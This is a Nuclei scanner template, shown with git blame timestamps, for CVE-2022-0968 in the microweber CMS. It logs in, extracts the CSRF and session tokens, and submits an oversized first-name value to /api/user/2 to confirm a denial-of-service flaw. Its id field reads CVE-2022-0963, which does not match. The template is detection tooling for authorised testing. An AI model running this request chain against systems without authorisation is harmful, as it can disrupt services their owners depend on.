nuclei-templates/cves/2022/CVE-2022-0968.yaml

95 lines
3.9 KiB
YAML
Raw Normal View History

2022-07-24 15:41:37 +00:00
id: CVE-2022-0963
info:
name: Integer Overflow in microweber prior to 1.2.12
author: amit-jd
severity: high
2022-07-27 08:09:31 +00:00
description: The microweber application allows large characters to insert in the input field "first & last name" which can allow attackers to cause a Denial of Service (DoS) via a crafted HTTP request. The first name & last name input should be limited to 50 characters or max 100 characters.
2022-07-24 15:41:37 +00:00
reference:
- https://huntr.dev/bounties/97e36678-11cf-42c6-889c-892d415d9f9e/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0968
- https://github.com/advisories/GHSA-q3x2-jvp3-wj78
classification:
cvss-metrics: CVSS:3.0/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H
cvss-score: 7.2
cwe-id: CWE-190
2022-07-27 08:00:19 +00:00
tags: cve,cve2022,overflow,microweber,CMS
2022-07-24 15:41:37 +00:00
requests:
- raw:
2022-07-27 08:00:19 +00:00
- |
2022-07-24 15:41:37 +00:00
POST /api/user_login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
- |
POST /csrf/ HTTP/1.1
Host: {{Hostname}}
X-Requested-With: XMLHttpRequest
2022-07-27 08:12:25 +00:00
2022-07-27 08:00:19 +00:00
- |
2022-07-24 15:41:37 +00:00
GET /admin/view:modules/load_module:users/edit-user:2 HTTP/1.1
Host: {{Hostname}}
2022-07-27 08:09:31 +00:00
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2022-07-24 15:41:37 +00:00
Cookie: laravel_session={{session}}; XSRF-TOKEN={{csrf_token}}
2022-07-27 08:12:25 +00:00
2022-07-27 08:00:19 +00:00
- |
2022-07-24 15:41:37 +00:00
POST /api/user/2 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-XSRF-TOKEN: {{url_decode(csrf_token)}}
Cookie: laravel_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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&email={{email}}&phone=&is_admin=0&is_active=1&basic_mode=0&api_key=
2022-07-27 08:12:25 +00:00
2022-07-24 15:41:37 +00:00
req-condition: true
cookie-reuse: true
extractors:
2022-07-27 08:00:19 +00:00
- type: json
part: body
2022-07-24 15:41:37 +00:00
name: csrf_token
2022-07-27 08:00:19 +00:00
json:
- .token
2022-07-24 15:41:37 +00:00
internal: true
- type: kval
part: header
name: session
kval:
- laravel_session
internal: true
- type: regex
part: body
name: form_token
internal: true
group: 1
regex:
- '<input type="hidden" name="token" value="(.*)" autocomplete="off">'
- type: regex
part: body
name: user_name
internal: true
group: 1
regex:
2022-07-27 08:09:31 +00:00
- '<input type="text" class="form-control" name="username" value="(.*)">'
2022-07-24 15:41:37 +00:00
- type: regex
part: body
name: email
internal: true
group: 1
regex:
2022-07-27 08:09:31 +00:00
- '<input type="email" class="form-control" name="email" value="(.*)">'
2022-07-27 08:00:19 +00:00
2022-07-27 08:09:31 +00:00
matchers:
2022-07-24 15:41:37 +00:00
- type: dsl
dsl:
- 'contains(body_4,"first_name":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")'
- 'status_code_4==200'
2022-07-27 08:00:19 +00:00
- 'contains(all_headers_4,"application/json")'
condition: and